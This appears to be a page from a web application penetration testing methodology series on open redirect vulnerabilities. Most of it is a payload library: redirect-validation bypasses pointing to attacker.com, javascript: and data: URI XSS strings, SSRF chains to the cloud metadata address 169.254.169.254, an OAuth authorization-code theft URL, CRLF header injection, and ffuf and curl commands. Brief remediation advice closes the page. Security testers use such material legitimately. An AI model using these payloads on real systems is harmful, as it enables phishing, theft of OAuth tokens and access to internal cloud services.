Open Redirect
Severity: Medium–High | CWE: CWE-601 OWASP: A01:2021 – Broken Access Control
What Is Open Redirect?
An open redirect occurs when an application uses user-controlled input to construct a redirect URL without proper validation. Direct impact is limited (phishing), but open redirects are critical as chain links for OAuth token theft, SSRF bypass, and CSP bypass.
https://trusted.com/redirect?url=https://attacker.com/phishing
↑ User trusts trusted.com domain in URL bar → follows redirect → lands on attacker site
High-impact chains:
- Open redirect → OAuth code theft (steal auth code via malicious redirect_uri chain)
- Open redirect → SSRF bypass (allowlisted domain, then redirects to internal IP)
- Open redirect → CSP bypass (whitelisted domain hosts attacker script)
- Open redirect → XSS via
javascript:URI
Discovery Checklist
- Find redirect parameters:
?url=,?next=,?redirect=,?goto=,?return=,?returnUrl=,?dest=,?destination=,?redir=,?target=,?continue=,?forward= - Check POST body fields named
redirect,next,returnTo - Test
Location:header manipulation via response splitting - Test OAuth
redirect_uriparameter (see 29_OAuth.md) - Test password reset email links
- Test SSO logout endpoints (
?slo=,?sloUrl=) - Check for validation type: prefix match, contains match, regex
- Test
javascript:URI for XSS via redirect - Test
//attacker.com(protocol-relative) to bypasshttps://prefix check - Test
data:andvbscript:URIs - Use Wayback Machine / JS analysis to find hidden redirect params
Payload Library
Payload 1 — Basic Open Redirect
# Direct external URL:
https://target.com/redirect?url=https://attacker.com
https://target.com/goto?next=https://attacker.com/phishing
# Protocol-relative (bypass https:// prefix check):
https://target.com/redirect?url=//attacker.com
https://target.com/redirect?url=///attacker.com
https://target.com/redirect?url=////attacker.com
# No-protocol with backslash (browser normalizes to //):
https://target.com/redirect?url=\\attacker.com
https://target.com/redirect?url=/\\attacker.com
https://target.com/redirect?url=\/attacker.com
# Using @-sign (everything before @ is treated as userinfo):
https://target.com/redirect?url=https://target.com@attacker.com
https://target.com/redirect?url=@attacker.com
# Fragment-based bypass:
https://target.com/redirect?url=https://attacker.com#target.com
Payload 2 — Bypass Techniques per Validation Type
# === BYPASS: url must start with "https://target.com" ===
# Inject null byte to break prefix:
https://target.com%00.attacker.com
https://target.com\x00.attacker.com
# Unicode confusion:
https://target.com/.attacker.com # subdomain of target? No — new domain
https://target﹒com.attacker.com # Unicode period (U+FE52)
https://target。com.attacker.com # Fullwidth period (U+3002)
# Abuse path-relative redirect:
https://target.com/redirect?url=https://target.com/../../../attacker.com
# === BYPASS: url must contain "target.com" ===
https://attacker.com?target.com # target.com in query string
https://attacker.com#target.com # target.com in fragment
https://attacker.com.evil.com # ends with target.com → evil.com subdomain
https://target.com.attacker.com # starts with target.com
# === BYPASS: url must end with "target.com" ===
https://attacker.com/?q=target.com
https://attacker.com/#target.com
https://attacker.com%2F%2Ftarget.com # encoded path
# === BYPASS: filter blocks external URLs, allows /path ===
# Whitelisted path redirect → redirect to evil:
/redirect?url=/logout?next=https://attacker.com # chain
# Protocol-relative absolute URL:
//attacker.com/page
# Whitespace prefix (some parsers strip leading spaces):
%20https://attacker.com
%09https://attacker.com # tab
%0ahttps://attacker.com # newline
Payload 3 — javascript: URI for XSS via Redirect
# If app uses Location header with user input → javascript: URI:
javascript:alert(document.cookie)
javascript:alert(1)
# Encoding variants to bypass filters:
JavaScript:alert(1) # case variation
JAVASCRIPT:alert(1)
java%09script:alert(1) # tab between java and script
java%0dscript:alert(1) # CRLF
javascript%3Aalert(1) # URL-encode the colon
javascript:alert(1) # HTML entity 'j'
javascript:alert(1) # hex entity
# With whitespace prefix (browsers strip leading whitespace in href):
%20javascript:alert(1)
%0Ajavascript:alert(1)
%09javascript:alert(1)
# via data: URI:
data:text/html,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
Payload 4 — SSRF via Open Redirect
# When SSRF filter only allows specific domains → chain through open redirect:
# SSRF allowlist: target.com
# Open redirect at: https://target.com/redirect?url=
# SSRF payload → target the open redirect:
https://target.com/ssrf?url=https://target.com/redirect?url=http://169.254.169.254/
# AWS metadata via redirect chain:
https://target.com/ssrf-endpoint?url=https://target.com/redirect?url=http://169.254.169.254/latest/meta-data/
# Internal service via redirect:
https://target.com/fetch?resource=https://target.com/goto?next=http://internal.service:8080/admin
# Multiple redirect hops:
https://target.com/r?url=https://target.com/redirect?url=https://target.com/redir?next=http://10.0.0.1/
Payload 5 — OAuth Token Theft via Open Redirect
# If OAuth redirect_uri can chain through open redirect:
# Registered URI: https://app.com/callback
# Open redirect: https://app.com/redirect?url=https://attacker.com
# Craft malicious OAuth authorize URL:
https://oauth-server.com/authorize?
client_id=APP_CLIENT_ID&
response_type=code&
redirect_uri=https://app.com/redirect?url=https://attacker.com&
scope=profile+email
# Victim authorizes → redirected to:
https://app.com/redirect?url=https://attacker.com?code=AUTH_CODE
# → attacker.com receives auth code in query string or Referer
# → Exchanges code for access token
# Same attack with implicit flow (token in fragment):
response_type=token
# Token in fragment: https://attacker.com#access_token=...
# JavaScript reads location.hash
Payload 6 — Meta Refresh / HTML Redirect
# If app reflects the redirect URL in HTML meta tag or script:
<meta http-equiv="refresh" content="0;url=ATTACKER_INPUT">
# Inject into meta refresh:
https://attacker.com
javascript:alert(1)
data:text/html,<script>alert(1)</script>
# If reflected in script:
<script>window.location = "ATTACKER_INPUT";</script>
# Inject: ";alert(1);//
# Or: javascript:alert(1)
Payload 7 — Path-Based Open Redirect
# Application redirects based on path:
# https://target.com//attacker.com → browser may interpret as open redirect
# Double slash:
https://target.com//attacker.com/
# Protocol-relative path on location header:
# If server sends: Location: //attacker.com → protocol-relative redirect
# Test via CRLF injection in URL:
https://target.com/%0d%0aLocation: //attacker.com
# Spring Security forward:
https://target.com/login?redirect=forward:http://attacker.com
Tools
# OpenRedirEx — open redirect scanner:
git clone https://github.com/devanshbatham/OpenRedireX
python3 openredirex.py -l urls.txt -p payloads.txt
# ffuf — fuzz redirect parameter:
ffuf -u "https://target.com/redirect?url=FUZZ" \
-w /usr/share/seclists/Fuzzing/open-redirect-payloads.txt \
-mc 301,302,303,307,308 -o results.json
# gf — grep interesting parameters from URLs:
gf redirect urls.txt # requires gf patterns installed
# Find redirect parameters in JS:
grep -rn "location\|redirect\|window\.location\|document\.location" \
--include="*.js" . | grep -i "param\|url\|next\|return"
# Waybackurls + grep for redirect params:
waybackurls target.com | grep -E "\?.*=(https?:|//|javascript:)"
# Check if redirect preserves cookies (potential session leakage):
curl -v -L -c cookies.txt "https://target.com/redirect?url=https://attacker.com" 2>&1 | \
grep -E "Location:|Cookie:|Set-Cookie:"
# oauth redirect_uri tester:
curl -s "https://oauth-server.com/authorize?client_id=X&redirect_uri=https://target.com/redirect?url=https://attacker.com&response_type=code" \
-c cookies.txt -b "user_session=VALID_SESSION" -L -v 2>&1 | grep -i "location"
Remediation Reference
- Allowlist redirect targets: only allow relative paths or a fixed list of trusted domains
- Reject external URLs entirely if business logic doesn’t require cross-domain redirect
- Validate scheme: reject
javascript:,data:,vbscript:, allow onlyhttps:// - Strict host validation: parse URL server-side and compare host against allowlist — don’t use
startsWithstring matching - Use indirect references: map tokens (
redirect=1) to pre-defined destinations server-side - Warn users: if external redirect is required, show intermediate warning page with destination URL
Part of the Web Application Penetration Testing Methodology series.